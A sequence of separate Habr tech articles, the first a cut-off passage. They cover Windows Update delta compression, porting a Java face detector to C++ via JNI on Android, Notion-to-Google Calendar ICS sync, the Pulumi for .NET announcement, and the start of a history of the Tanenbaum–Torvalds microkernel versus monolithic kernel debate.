![$V_0$](https://habrastorage.org/getpro/habr/formulas/499/0e4/870/4990e48704b3099f5758aebde06a1818.svg). К примеру, если в октябрьском ежемесячном обновлении изменился файл `Notepad.exe`, то генерировались дельты для изменений файла Notepad.exe с сентября по октябрь, с августа по октябрь, с июля по октябрь, с июня по октябрь, а также с первоначального RTM по октябрь. Таким образом, кумулятивные обновления с каждым месяцем всё увеличивались в размере. Поэтому разработчикам поставили задачу оптимизировать их. Начиная с Windows 10 1809 механизм изменили — и ввели обратную дельту, благодаря которому размер кумулятивных обновлений всегда оставался практически одинаковым. ![](https://habrastorage.org/r/w1560/webt/o_/9e/9d/o_9e9d1ua-dwmbom_n38nupmtui.png) *Дельта-пары в Windows Update. Чтобы создать целевую ревизию, к базовой версии файла применяется прямая дельта (forward delta). Затем к целевой ревизии применяется обратная дельта (reverse delta), чтобы создать промежуточную базовую версию для следующей прямой дельты через месяц* Чем плоха двунаправленная дельта ================================ Дельты создают целевую версию путём преобразований и исправлений базовой версии. В одних случаях данные добавляются, в других — удаляются. Поэтому двунаправленная дельта хранит и добавленное, и удалённое содержимое. Поскольку данные в прямой и обратной дельтах сильно не совпадают, двунаправленная дельта не слишком эффективна. Генерация данных для обратного обновления ========================================= Разработчики Microsoft нашли способ «зафиксировать» на этапе применения дельты все преобразования и исправления — и эффективно перекодировать их из прямой в обратную дельту (n→0), что избавляет от необходимости распространять обратные дельты в паре. *Примечание*. Microsoft пишет, что предварительная заявка на патент США № 63/160,284 с описанием этого механизма «Генерация данных для обратного обновления» подана 12 марта 2021 года. К сожалению, найти заявку на сайте патентного ведомства не удалось. ![](https://habrastorage.org/r/w1560/webt/re/ev/x5/reevx5vcartnpjdo-mimf83taeq.png) ![](https://habrastorage.org/r/w1560/webt/x-/cx/pw/x-cxpwuhdcioouh8pwhdf3egybw.png) *Генерация данных для обратного обновления происходит в процессе применения прямой дельты с инструкциями вставки и удаления данных* Маппинг виртуальных адресов в ассемблере ======================================== Архитектурно продвинутые алгоритмы дельта-сжатия, такие как MSDelta от Microsoft, при изменении адреса функции изменяют также виртуальные адреса в ассемблере (маппинг виртуальных адресов). Это важно, поскольку даже небольшие исправления в ассемблерном коде сдвигают адреса последующих функций в бинарной программе. Без ремаппинга виртуальных адресов изменение ассемблерного кода в одной строке может привести к тому, что придётся изменять виртуальные адреса для десятков тысяч вызовов. Маппинг выполняется путём побайтового дизассемблирования кода программы и идентификации виртуальных адресов. Виртуальные адреса логически соответствуют точкам входа для функций ассемблерного кода и смещаются, когда ассемблерный код обновляется в патче. Дельта-движок отслеживает эти сдвиги — и они фиксируются в таблице сопоставления. Маппинг во время применения дельты — одна из важных причин, почему современные архитектурно продвинутые алгоритмы дельта-сжатия настолько эффективны. [![](https://habrastorage.org/r/w1560/webt/db/xx/dg/dbxxdg2lcpyjekobcsxz9fgy8yi.png)](https://habrastorage.org/webt/db/xx/dg/dbxxdg2lcpyjekobcsxz9fgy8yi.png) *Пример, как все инструкции `call` в ассемблере x86 сдвигаются после добавления всего одной инструкции `mov` по адресу 0x18000097D3 (строка 17)* Обратный маппинг виртуальных адресов в ассемблере ================================================= Как и обычные изменения данных, преобразования адресов можно «зафиксировать» и отменить. При этом возникают небольшие накладные расходы, поскольку не всегда отображение выполняется в точности. Если прямое отображение конфликтует с наблюдаемым обратным, то для выравнивания необходимо использовать дополнительную инструкцию исправления. Это можно сделать сразу на месте, и тогда обратный маппинг обеспечит почти такую же производительность, как обратная дельта с прямым маппингом из дельты, сгенерированной на сервере. Вывод ===== Возможность сгенерировать обратное обновление обеспечивает эффективный способ распространения прямых дельт с возможностью вернуть систему в исходное состояние. Microsoft [пишет](https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-11-cumulative-update-improvements-an-overview/ba-p/2842961), что в Windows 11 такой подход сократил размер обновлений на 40%. > Дополнительная информация > ========================= > > > > *** [«Обзор улучшений в кумулятивных обновлениях Windows 11»](https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-11-cumulative-update-improvements-an-overview/ba-p/2842961) > * [«Обновления Windows с прямым и обратным разностным сжатием»](https://docs.microsoft.com/windows/deployment/update/psfxwhitepaper)** Можно добавить, что все файлы Windows Update подписаны цифровой подписью Microsoft с соответствующим цифровым сертификатом. Наличие у программы [сертификата подписи кода](https://www.globalsign.com/ru-ru/code-signing-certificate) гарантирует беспроблемную установку под Windows, потому что Windows Defender SmartScreen учитывает репутацию издателя и [не выдаёт предупреждений безопасности при установке программы с сертификатом](https://habr.com/ru/post/505194/).
https://habr.com/ru/post/587714/
null
ru
null
# Переписываем с java на C++ на платформе Android Хочу с вами поделиться опытом переписывания с java на C++ на платформе Android и тем, что в результате получилось. Для своего маленького домашнего проекта был использован алгоритм поиска лиц Виола-Джонса, java-исходники с моделью были взяты отсюда [code.google.com/p/jviolajones](https://code.google.com/p/jviolajones) с небольшой модификацией — были добавлены два класса: Point и Rectangle. Уточню почему не стал использовать OpenCV под Android — для его работы необходимо поставить отдельно приложение-библиотеку, что в моем случае будет весьма неудобно, и опыты показали его падение без предупреждения, разбираться с этим долго не стал, также и с поиском других библиотек, и решил взять простейшую готовую реализацию. Быстродействие алгоритма показало плачевные результаты, на фотографии размером 400 на 300 на моем стареньком разбитом GT-I9300I — 54 секунды, на avd (виртуальном устройстве) и то дольше — 250 секунд. Частенько попадались под мой взор обсуждения быстродействия кода на java и C++, где-то показывалось, что java отстает, в каких-то случаях даже и наоборот, приводились небольшие участки кода с одним циклом. Здесь же алгоритм чуть более, чем сложнее, порядка 6 вложенных циклов, как вы можете убедиться по исходникам. Поэтому было принято решение — испробовать на собственном опыте переписывание на C++. По всем прочитанным статьям у меня сложилось впечатление, что скорость повысится максимум процентов на 20, но как оказалось это было неверно. Естественно встали следующие задачи — как передать входные и получить выходные данные и как переписать код. Заполнение модели из xml в конструкторе Detector решил оставить на java, заполняется, конечно, не быстро, но ввиду того, что работа с xml на C++ для меня звучит очень страшно, то оставил как есть. Род моей профессиональной деятельности связан с java, с C\C++ связывался только в институте и немного на работе по старым проектам. Поэтому пришлось изучить немного документации, почитать статьи и набить немного шишек. **Переписывание логики.** Здесь особых проблем не возникло, был принят способ — не глядя скопировать классы, там, где eclipse подсвечивал красненьким проходился топориком. Все ArrayList'ы переделал в массив, благо — размер они не меняли. Не буду описывать настройку среды для вызова нативного кода, статей на эту тему есть куча. **Как передать данные.** С простыми типами — int, float, boolean все просто и понятно. С одномерным вроде бы тоже просто: ``` JNIEXPORT jint JNICALL Java_com_example_Computations_intFromJni(JNIEnv* env, jobject thiz, jintArray arr) { jsize d = env->GetArrayLength(arr); jboolean j; int * p = env->GetIntArrayElements(arr, &j); ... } ``` С двумерным чуть посложнее: ``` JNIEXPORT jint JNICALL Java_com_example_Computations_findFaces(JNIEnv* env, jobject thiz, jobjectArray image) { int width = env -> GetArrayLength(image); jboolean j2; jintArray dim= (jintArray)env->GetObjectArrayElement(image, 0); int height = env -> GetArrayLength(dim); int **imageLocal; imageLocal = new int*[width]; for (int i = 0; i < width; i++) { jintArray oneDim= (jintArray)env->GetObjectArrayElement(image, i); int *element = env->GetIntArrayElements(oneDim, &j2); imageLocal[i] = new int[height]; for(int j=0; j < height; ++j) { imageLocal[i][j]= element[j]; } } ... } ``` Поехали дальше, как передать объекты, у которых куча полей, среди которых есть типы List. Для получение поля объекта применяется следующая конструкция: ``` jclass clsDetector = env->GetObjectClass(objDetector); jfieldID sizeFieldId = env->GetFieldID(clsDetector, "size", "Ldetection/Point;"); jobject pointObj = env->GetObjectField(objDetector, sizeFieldId); ``` Для листов нам понадобятся два метода get и size: ``` jfieldID stagesFieldId = env->GetFieldID(clsDetector, "stages", "Ljava/util/List;"); jobject stagesList = env->GetObjectField(detectorJObj, stagesFieldId); jclass listClass = env->FindClass( "java/util/List" ); jmethodID getMethodIDList = env->GetMethodID( listClass, "get", "(I)Ljava/lang/Object;" ); jmethodID sizeMethodIDList = env->GetMethodID( listClass, "size", "()I" ); int listStagesCount = (int)env->CallIntMethod( stagesList, sizeMethodIDList ); for( int i=0; i < listStagesCount; ++i ) { jobject stage = env->CallObjectMethod( stagesList, getMethodIDList, i); ... ``` Данные научились получать. Запускаем, валится на ошибке — Local reference table overflow 512 entries. Получается, что необходимо чистить все локальные ссылки jclass и jobject, это делается так: ``` env->DeleteLocalRef(jcls); env->DeleteLocalRef(jobj); ``` И для массивов тоже: ``` env->ReleaseIntArrayElements(oneDim, element, JNI_ABORT); env->DeleteLocalRef(oneDim); ``` **Возвращаем результат.** Для упрощения своей задачи возвращение результата сделал в виде массива Rectangle: ``` jclass cls = env->FindClass("detection/Rectangle"); jobjectArray jobAr =env->NewObjectArray(faces->currIndex, cls, NULL); jmethodID constructor = env->GetMethodID(cls, "", "(IIII)V"); for (int i = 0; i < faces->currIndex; i++) { Rectangle\* re = faces->rects[i]; jobject object = env->NewObject(cls, constructor, re->x, re->y, re->width, re->height); env->SetObjectArrayElement(jobAr, i, object); } return jobAr; ``` Итак, торжественный момент — поиск на той же фотографии — 14 секунд, т.е. в 4 раза быстрее, на других фотографиях аналогичные результаты. На виртуальном андроиде 132 секунды против 300 секунд. Но как нам известно, нельзя использовать результаты одного опыта, необходимо повторить несколько раз, приведу для одной фотографии, время обработка в секундах. | Виртуальное устройство | Виртуальное устройство с использованием cpp | Мой телефон galaxy | Мой телефон galaxy с cpp | | --- | --- | --- | --- | | 238 | 132 | 84 | 14 | | 318 | 137 | 54 | 14 | | 472 | 135 | 54 | 14 | | 264 | 150 | 54 | 14 | | 266 | 138 | 54 | 14 | | 262 | 129 | 53 | 14 | И в заключение отмечу. Несмотря на то, что переписывание дало большое ускорение, предела совершенству еще куча, можно использовать многопоточность, что я планирую изучить в ближайшее время. И внесение каких-либо корректировок в алгоритм — здесь наверное самая сложная часть. **update** Выложил [исходники](https://drive.google.com/file/d/0B2RMIFu2ZeMPdjUwS05EZTJfd2M/view?usp=sharing). Использовать следующим образом: ``` Detector detector = Detector.create(inputHaas); List res = detector.getFaces(background\_image, 1.2f, 1.1f, .05f, 2, true, useCpp); ``` inputHaas — поток модели, т.е. файл haarcascade\_frontalface\_default.xml из исходного алгоритма, useCpp — использовать C++ или нет. В исходниках C++ не делаю освобождение памяти, т.к. писал на скорую руку.
https://habr.com/ru/post/268653/
null
ru
null
# Как настроить удобную синхронизацию между Notion и календарем через ICS на JS без сервера Уже почти 2 года я активно использую Notion в своей жизни. Я регулярно пополняю его своими личными автоматизациями, которые облегчают жизнь мне и моей команде. Иногда я публикую [в своем блоге](https://amorev.ru/tag/notion/) разные кейсы, которые удается оформить в виде библиотеки или примера кода. Данный пост также доступен в формате [видео на моем канале](https://youtu.be/Aond3cfIajw). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d6b/de6/7d7/d6bde67d7b738ced46fb318d5ede5813.png)Сегодня я решил поделиться тем, как я интегрировал календарь из Notion в Google Calendar через ics. Таким способом события из календаря Notion можно добавить в любой календарь, поддерживающий ics формат (то есть, практически, любой) ### Немного предыстории Обычно необходимость и суть любой интеграции и/или автоматизации проще понять, если понять зачем именно она была создана. Если хотите перейти, без предысторий, сразу к технике, листайте вниз до заголовка "Реализация". Сейчас процесс общения с новыми запросами ко мне или моей компании происходит через моего Telegram бота или помощника. Но так оно работает только последний год… #### Как оно работало раньше Запрос может быть любой — могут начать предлагать какие-то “прорывные маркетинговые” услуги моей компании, обратиться ко мне за платными консультациями, предложить выступить на какой-нибудь конференции и тд. Я старался вносить все в свой гугл-календарь. Ключевое слово — старался. Иногда меня даже хватало на целую неделю стабильных побед над моей ленью в этом вопросе. Поражение в этой схватке заканчивались накладками в созвонах и потерей репутации. Мне достаточно быстро надоело обрабатывать подобное самому. В итоге начал приводить это в порядок. Среди наших клиентов есть серьезные люди, у которых есть помощники и все они, как один, ведут их календарь со всеми встречами и созвонами. Решил не придумывать велосипед и сделать тоже самое. Причем я сразу решил идти не по пути предоставления доступа к гугл-календарю. Я хотел, чтобы я мог подвязывать свои задачи и заметки из моего Notion. Поэтому созвоны я решил хранить там же. Я создал базу в Notion с представлением (view) “календарь” и дал к нему доступ на внесение изменений. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3d4/be4/7ef/3d4be47ef79a9c913095c7f8ae9ae3de.png)В момент, когда приходит понимание, что необходимо устроить созвон создается (мной, ботом или помощником) сущность в Notion. Как велась моя база созвонов в мае 2022: 1. Указывается дата и время созвона; 2. В название, обычно, пишется имя фамилия человека и компании для идентификации в будущем; 3. В поле Info добавляется информация, необходимая для отображения внутри уведомления в Telegram боте. Обычно тут краткое описание о чем планируется разговор; 4. В тело уже размещается информация любого рода. Обычно помощник, после созвона, пишет расшифровки, договоренности и детали, которые могут быть полезны в будущем. #### Желаемый функционал Меня все устраивало кроме того, что для просмотра всех созвонов было необходимо идти в notion и смотреть что у меня по планам на следующий день. Приложение Notion на Android работает крайне медленно и я решил сделать так, чтобы все созвоны появлялись внутри моего гугл календаря, который я вел и веду по своим личным делам. ![](https://habrastorage.org/getpro/habr/upload_files/429/c9f/2b4/429c9f2b4144a6846b242f8be5cd1ab9.gif)То есть хотелось, чтобы я/бот/помощник вносил информацию только в Notion и чтобы только Notion был единым источником информации для всех. Что еще более важно — люди достаточно переменчивы и, иногда, звонки переносятся еще до начала. Важно, чтобы можно было подвинуть карточку в Notion и все встало на свои места. ![](https://habrastorage.org/getpro/habr/upload_files/2d4/53b/f44/2d453bf448346eb090c4e157ba0b3d4f.gif)### Реализация Первое что мне пришло в голову для реализации функционала — отправлять события через [Google Calendar Api](https://developers.google.com/calendar/api). Я даже успел прочитать их Api Reference и примерно накидать идею как создавать события и отслеживать их синхронизацию. Следующим этапом были разборки с источником данных — я принялся смотреть что умеет [Notion Api](https://developers.notion.com/) и был расстроен. #### Сложности на стороне Notion Работа с Notion происходит только через request-response подход. То есть нам, для получения информации и обновлений, нужно каждый раз забирать к себе всю информацию и уже, на своей стороне, понимать что поменялось, а что нет и реагировать на изменения. Процесс актуализации пришлось бы делать следующим образом: * Нужно проходить по всем элементам базы созвонов и искать изменения; * Если добавили поле, то надо будет делать на N раз больше проверок (N – количество созвонов в базе); * Со временем база созвонов растет (1-2 созвона в день) = время обработки тоже ; * Достаточно тяжело поддерживать стабильную работу... К великому сожалению, на момент написания поста, Notion совсем совсем не умеет в webhook. В идеале было бы подписаться на какие-то обновления и чтобы Notion оповещал наш сервер о каждом изменении на своей стороне. Webhook — достаточно распостраненная практика в мире CRM и прочих сервисов, но Notion пока ее не освоил (на момент написания данного поста). Надеюсь, что скоро такой функционал порадует разработчиков. Ну а пока пришлось решить задачу чуть более лакончино #### Найденное решение. Генерация ics на nodejs В общем я посмотрел на этот предстоящий челлендж с API и оставил эту идею до лучших времен, которые наступили через пару месяцев. Я понял, что я могу экспортировать все элементы из Notion в ics, отдавать это через express и сразу же импортировать в Google Calendar как сторонний календарь. ![](https://habrastorage.org/getpro/habr/upload_files/c6b/42b/567/c6b42b567f19532d722ecb4ff4b46626.gif)Прежде всего необходимо получить notion token. Долго на этом останавливаться не буду т.к. описывал это в [своем блоге](https://amorev.ru/notion-beta-api-release/). После получения токена нужно создать базу данных с Calendar View — можно взять мой [шаблон](https://www.notion.so/e0948b29518a49ea8c39298c8074515c). После создания базы фиксируем database\_id из ссылки. Им заканчивается ссылка перед началом *query\_string* (перед знаком вопроса). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ce/d29/4d3/1ced294d38e9486f2bb3784ceb91c437.png)#### Получение данных из Notion Дальше приходим непосредственно к реализации. Внутри кода используются переменные notionToken и calendarDb — это как раз токен и id базы данных соответственно. ``` const notion = new Client({ auth: notionToken, }); const Events = await notion.databases.query({ database_id: calendarDb, }); ``` Из notion приходит объект, содержащий все элементы из этой базы данных. Нам для заполнения гугл-календаря нужны следующие поля: * `Event.properties['Name']['title'][0]?.['text']['content']` — название события * `Event.properties['Info']['rich_text'][0]?.['text']['content']` — краткое описание события * `Event.properties['Date']` — собственно дата события. С полем даты события есть некоторые особенности: * Есть поля start и end. * Если не задать end то в нем будет null * Если поставить, в интерфейсе Notion, флажок “Include time” то формат даты изменится, но будет писаться в то же поле — надо смотреть на длину этого поля и тогда можно понять включено ли время. * Если у нас включено время, то end также может быть пустым и, следовательно, надо ко времени начала добавлять час если не указано время окончания. Все эти кейсы ничего сложного из себя не представляют, но они познаются “в беде”. То есть сначала настроил систему только для работы с днями, запустил и оставил. Проходит время и случайно в одном месте ставишь дату со временем и все — система сломалась. Я все эти кейсы обработал. Получилось достаточно костыльно, но задачу поставленную решает. #### Формирование ICS После получения массива объектов из Notion их необходимо привести к формату, который можно конвертировать в ics. Само формирование ics строки реализовано в [одноименном npm пакете](https://www.npmjs.com/package/ics). Получить ics из массива событий можно следующим образом: ``` const icsEvent = ics.createEvents(Events) if (icsEvent.error) { console.error(icsEvent.error) return } icsEvent.value // конечная ics строка ``` Массив `Events` представляет собой массив из следующих элементов: ``` const Events = [ { title: "Title", description: "Короткое описание из info", start: [2022,10,10,12,00], end: [2022,10,10,13,00], url: "ссылка на элемент в notion" } ]; ``` Дальше уже дело техники: передать эту строчку в express (или любой другой http) сервер и передать ссылку в Google Calendar ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e61/1ea/955/e611ea95543c0f961f8551e83d75a989.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/96d/edf/992/96dedf9926a0b36439ebb1fd3d5569d5.png)После чего Google Calendar сам зайдет по ссылке, выкачает все события и добавит их в мой календарь. Все работает более чем стабильно и события появляются в календаре не более чем через 10 минут после добавления в Notion. Если я, вдруг, чего-то поменяю в одном событии, то, при следующей закачке, вся информация актуализируется и в календаре. Чтобы не держать сервер под такую мелочь я разместил этот простой скрипт на [pipedream](https://pipedream.com/@amorev/notion-calendar-integration-p_aNC35We). Можете брать к себе, в env переменных указывать свои токен и id базы данных и добавлять в календарь ссылку. Также сделал небольшой [npm пакет](https://www.npmjs.com/package/notion-calendar-integration), где все "костылизации" с датами спрятал в одном методе `createIcsString`, который на вход принимает токен и id базы данных (примеры оформил [отдельно](https://github.com/gmoreva/notion-calendar-integration/tree/master/examples)).
https://habr.com/ru/post/692422/
null
ru
null
# Building Modern Cloud Applications using Pulumi and .NET Core We are excited to announce .NET Core support for Pulumi! This announcement means you can declare cloud infrastructure — including all of Azure, such as Kubernetes, Functions, AppService, Virtual Machines, CosmosDB, and more — using your favorite .NET language, including C#, VB.NET, and F#. This brings the entire cloud to your fingertips without ever having to leave your code editor, while using production-ready «infrastructure as code» techniques. ![](https://habrastorage.org/r/w1560/webt/xk/ec/sz/xkecszy_jtbxkn8yu6un4-ihuii.png) Infrastructure has become more relevant these days as modern cloud capabilities such as microservices, containers, serverless, and data stores permeate your application’s architecture. The term «infrastructure» covers all of the cloud resources your application needs to run. Modern architectures require thinking deeply about infrastructure while building your application, instead of waiting until afterwards. Pulumi’s approach helps developers and infrastructure teams work together to deliver innovative new functionality that leverages everything the modern cloud has to offer. Pulumi launched a little over a year ago and recently reached a stable 1.0 milestone. After working with hundreds of companies to get cloud applications into production, .NET has quickly risen to one of Pulumi’s most frequently community requested features. Especially since many of us on the Pulumi team are early .NET ex-pats, we are thrilled today to make Pulumi available on .NET Core for your cloud engineering needs. What is Pulumi? =============== Pulumi lets you use real languages to express your application’s infrastructure needs, using a powerful technique called «infrastructure as code.» Using infrastructure as code, you declare desired infrastructure, and an engine provisions it for you, so that it’s automated, easy to replicate, and robust enough for demanding production requirements. Pulumi takes this approach a step further by leveraging real languages and making modern cloud infrastructure patterns, such as containers and serverless programs, first class and easy. With Pulumi for .NET you can: * Declare infrastructure using C#, VB.NET, or F#. * Automatically create, update, or delete cloud resources using Pulumi’s infrastructure as code engine, removing manual point-and-clicking in the Azure UI and ad-hoc scripts. * Use your favorite IDEs and tools, including Visual Studio and Visual Studio Code, taking advantage of features like auto-completion, refactoring, and interactive documentation. * Catch mistakes early on with standard compiler errors, Roslyn analyzers, and an infrastructure-specific policy engine for enforcing security, compliance, and best practices. * Reuse any existing NuGet library, or distribute your own, whether that’s for infrastructure best practices, productivity, or just general programming patterns. * Deploy continuously, predictably, and reliably using Azure DevOps Pipelines, GitHub Actions, or one of over a dozen integrations. * Build scalable cloud applications using classic infrastructure cloud native technologies like Kubernetes, Docker containers, serverless functions, and highly scalable databases such as CosmosDB into your core development experience, bringing them closer to your application code. Pulumi’s free open source SDK, which includes a CLI and assortment of libraries, enables these capabilities. Pulumi also offers premium features for teams wanting to use Pulumi in production, such as Azure ActiveDirectory integration for identity and advanced policies. An example: global database with serverless app =============================================== Let’s say we want to build a new application that uses Azure CosmosDB for global distribution of data so that performance is great for customers no matter where in the world they are, with a C# serverless application that automatically scales alongside our database. Normally we’d use some other tools to create the infrastructure, such as JSON, YAML, a DSL, or manually point-and-click in the Azure console. This approach is par for the course, but also daunting — it’s complex, unrepeatable, and means we need an infrastructure expert just to even get started. The Pulumi approach is to just write code in our favorite .NET language and the Pulumi tool will handle the rest. For example, this C# code creates an Azure CosmosDB databases with a serverless Azure AppService FunctionApp that automatically scales alongside the database: ``` using System; using System.Collections.Generic; using Pulumi; using Pulumi.Azure.AppService; using Pulumi.Azure.Core; using Pulumi.Azure.CosmosDB; class Program { static Task Main(string[] args) { return Deployment.RunAsync(() => { var locations = new[] { "WestUS", "WestEurope", "SouthEastAsia" }; var rg = new ResourceGroup("myapp-rg", new ResourceGroupArgs { Location = locations[0], }); var app = new CosmosApp("myapp", new CosmosAppArgs { ResourceGroup = resourceGroup, Locations = locations, DatabaseName = "pricedb", ContainerName = "prices", Factory = (location, db) => { var func = new ArchiveFunctionApp("myapp-func", new ArchiveFunctionAppArgs { Location = location, Archive = new FileArchive("app"), AppSettings = new Dictionary { ["COSMOSDB\_ENDPOINT"] = db.Endpoint, }, }, ); return func.App.ID; }, }); }); } // Definitions of CosmosApp and ArchiveFunctionApp elided for brevity. // Actual runtime application code is stored in the "app" directory. // See link to the full example at the end of this article. } ``` [view raw](https://gist.github.com/terrajobst/d3c82a5df99de1f10de81fd13d4f605a/raw/2616cc92ddca69aa9ecc6d1d8c0ae96f40b2ec5b/Program.cs)[Program.cs](https://gist.github.com/terrajobst/d3c82a5df99de1f10de81fd13d4f605a#file-program-cs) hosted with by [GitHub](https://github.com/) After writing this code, you run the Pulumi CLI with the pulumi up command and it will first show you a preview of the infrastructure resources it plans on creating. After confirming, it will deploy your whole application and its required infrastructure in just a few minutes. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/ea2/880/706/ea28807060259dfcba9777eaa1dec8cd.png) Later on, if you need to make any changes, you just edit your program, rerun the CLI, and it will make the necessary incremental changes to update your infrastructure accordingly. A full history of your deployments is recorded so you can easily see what changes have been made. Why is .NET great for infrastructure too? ========================================= Many of us love using .NET to author our applications, so why not use it for infrastructure as code too? We’ve in fact already seen above some of the advantages above to doing so. Many of these are probably evident if you already know and love .NET, however, let’s briefly recap. By using any .NET language, you get many helpful features for your infrastructure code: * Familiarity: No need to learn DSLs or markup templating languages. * Expressiveness: Use loops, conditionals, pattern matching, LINQ, async code, and more, to dynamically create infrastructure that meets the target environment’s needs. * Abstraction: Encapsulate common patterns into classes and functions to hide complexity and avoid copy-and-pasting the same boilerplate repeatedly. * Sharing and reuse: Tap into a community of cloud applications and infrastructure experts, by sharing and reusing NuGet libraries with your team or the global community. * Productivity: Use your favorite IDE and get statement completion, go to definition, live error checking, refactoring, static analysis, and interactive documentation. * Project organization: Use common code structuring techniques such as assemblies and namespaces to manage your infrastructure across one or more projects. * Application lifecycle: Use existing ALM systems and techniques to manage and deploy your infrastructure projects, including source control, code review, testing, and continuous integration (CI) and delivery (CD). Pulumi unlocks access to the entire .NET ecosystem — something that’s easy to take for granted but is missing from other solutions based on JSON, YAML, DSLs, or CLI scripts. Having access to a full language was essential to enabling the CosmosApp example above, which is a custom component that internally uses classes, loops, lambdas, and even LINQ. This approach also helps developers and operators work better together using a shared foundation. Add all of the above together, and you get things done faster and more reliably. Join the community and get started ================================== Today we’ve released the first preview of Pulumi for .NET, including support for the entire Azure breath of services. To give Pulumi a try, [visit the Pulumi for .NET homepage](https://pulumi.com/dotnet). There you will find several instructions on installing and getting started with Pulumi for .NET. The following resources provide additional useful information: * [Full CosmosApp example code](https://github.com/pulumi/examples/tree/master/azure-cs-cosmosapp-component) * [Getting started with Pulumi for Azure](https://www.pulumi.com/docs/get-started/azure/) * [Getting started with Pulumi for Kubernetes](https://www.pulumi.com/docs/get-started/kubernetes/) * Integrating Pulumi with [Azure DevOps Pipelines](https://www.pulumi.com/docs/guides/continuous-delivery/azure-devops/) and [GitHub Actions](https://www.pulumi.com/docs/guides/continuous-delivery/github-actions/) * [General Pulumi overview (concepts and architecture)](https://www.pulumi.com/docs/intro/concepts/) * [Overview of premium Pulumi features for teams and Enterprises](https://www.pulumi.com/pricing/) Although Pulumi for .NET is listed in «preview» status, it supports all of the most essential Pulumi programming model features (and the rest is on its way). Our goal is to gather feedback and over the next few weeks, and we will be working hard to improve the .NET experience across the board, including more examples and better documentation. Please [join the community in Slack](https://slack.pulumi.com/) to discuss your scenarios, ideas, and to get any needed assistance from the team and other end users. Pulumi is also [open source on GitHub](https://github.com/pulumi/pulumi). This is an exciting day for the Pulumi team and our community. Pulumi was started by some of .NET’s earliest people and so it’s great to get back to our roots and connect with the .NET community, helping developers, infrastructure teams, and operators build better cloud software together. We look forward to seeing the new and amazing cloud applications you build with Pulumi for .NET!
https://habr.com/ru/post/475990/
null
en
null
# Микроядро vs. монолит и «торжество» MINIX Недавно Эндрю Таненбаум, профессор Амстердамского свободного университета, автор учебной и миниатюрной Unix системы Minix, вновь оказался в центре событий благодаря эпистолярному жанру. В своем [письме](http://www.opennet.ru/opennews/art.shtml?num=47539) Интел он поблагодарил компанию за использование Minix, посетовал на то, что та не трубила об этом на каждом шагу и заявил, что из-за этого мало кто знает о том, что Minix — на сегодняшний день самая популярная ОС на свете. ![Безудержная радость](https://habrastorage.org/r/w1560/webt/qx/t8/aq/qxt8aqwdc0wtisukiumy4vedheo.png) Надо отдать должное профессору, он умеет выбирать адресата, время и место для того, чтобы вызвать громкий и продолжительный эффект с помощью простого сообщения, отправленного по электронной почте. Его предыдущим корреспондентом был Линус Торвальдс, а их переписка о монолитном и микро ядре вошла в анналы истории ИТ. Без этого трудно понять, почему Эндрю Таненбаум так экзальтирован из-за мнимого успеха Миникс, которая всего лишь в течении десятка лет обеспечивала работу [интеловского бэкдора IME](https://goo.gl/3i3P4F). Рождение Linux и критика монолитного ядра ----------------------------------------- 26 лет назад изучение программирования для Unix было нетривиальным делом для обычного студента, так как все разновидности Unix были платными. Чтобы освоить эту операционную систему Линус решает поставить Minix. Интернет в ту пору еще только зарождался, заказ ОС шел через обычную почту, так же как и доставка. Ради Minix пришлось раскошелиться на 169 долларов. > *У меня возникло множество претензий к Minix. Хуже всего была эмуляция терминала, очень важная для меня программа, потому что именно ее я использовал для подключения к университетскому компьютеру. Я зависел от этой эмуляции каждый раз, когда связывался с университетским компьютером, чтобы поработать с мощной Unix-системой или просто выйти в онлайн.* Вскоре будущий создатель Linux обнаружил серьезные недостатки Minix. Так как это был всего лишь обучающий вариант Unix, то профессор преднамеренно исковеркал ее. Многие из этих недостатков можно было устранить заплаткой самого известного хакера Minix Брюса Эванса, но для того, чтобы ее поставить нужно было изрядно провозиться. Самым же существенным недостатком для Линуса была программа эмуляции терминала, которую пришлось заменить на свою собственную. Затем понадобился драйвер файловой системы и понеслось, ядро новой ОС зародилось по принципу каши из топора. 25 августа 1991 г. Линус отправляет [свое знаменитое сообщение](https://goo.gl/pCgMxv) о том, что работает над бесплатной операционной системой, но это будет не такой крупный и профессиональный проект как *GNU*. Помимо всего прочего внимание заслуживает тот факт, что этот и другие ранние анонсы свое операционной системы Линус отправляет в конференцию Minix, оттягивая на себя пользователей последней. Эндрю Таненбаум до поры до времени никак на это не реагировал, но Linux рос как снежный ком. Уже в январе 1992 г. вышла версия 0.12, в котором была реализована страничная подкачка на диск — то чего не было в Minix. Вскоре после этого профессор снизошел до выскочки, чтобы лично ему ответить и вот 29-го января Линус получает сообщение в конференцию `comp.os.minix` с нравоучительным содержанием. Начало было обнадеживающим. > *From: ast@cs.vu.nl (Andy Tanenbaum) > > То: Newsgroups: comp.os.minix > > Subject: LINUX устарела > > Date: 29 Jan 92 12:12:50 GMT* > > *Я тут на пару недель уезжал в США, поэтому не писал особенно о LINUX (не то чтобы я стал писать, если бы и был здесь). Однако теперь хочу сделать несколько замечаний. > > Как большинство из вас знает, для меня MINIX – хобби, которым я занимаюсь по вечерам, когда мне надоедает писать книжки, а по CNN не показывают никаких войн, революций или парламентских слушаний. Моя основная работа – преподавание и исследования в области операционных систем.* Далее следовали справочные сведения о монолитном ядре, микроядре и об ОС, исповедующих тот, или иной принцип. Затем следовал несостоятельный с точки зрения логики довод о том, что среди специалистов по разработке операционных систем споры по данному вопросы уже прекратились ввиду явного преимущества микроядра. Дальше декларации о том, что Minix прогрессивна, а Linux — возврат в 1970-е. Кроме того, Linux привязан к одной архитектуре в то время как Minix был перенесен с Intel процессоров на другие платформы: Atari, Amiga, Macintosh, SPARC и NS32016. > *Я мог бы многое рассказать о сравнительных преимуществах этих двух подходов, но достаточно сказать, что среди специалистов по разработке операционных систем споры уже закончились. Микроядро победило. Minix – система с микроядром. Файловая система и управление памятью – это отдельные процессы, которые работают вне ядра. Ввод-вывод тоже выполняется отдельно. LINUX – монолитная система. Это большой шаг назад, в 70-е. годы*. ![Microkernel vs Monolithic](https://habrastorage.org/r/w1560/webt/71/n5/vp/71n5vpho-wuldkhajuvj-iw-g78.png) В начале 90-х микроядро действительно было в фаворе у проектировщиков операционных систем. По их мнению ядро 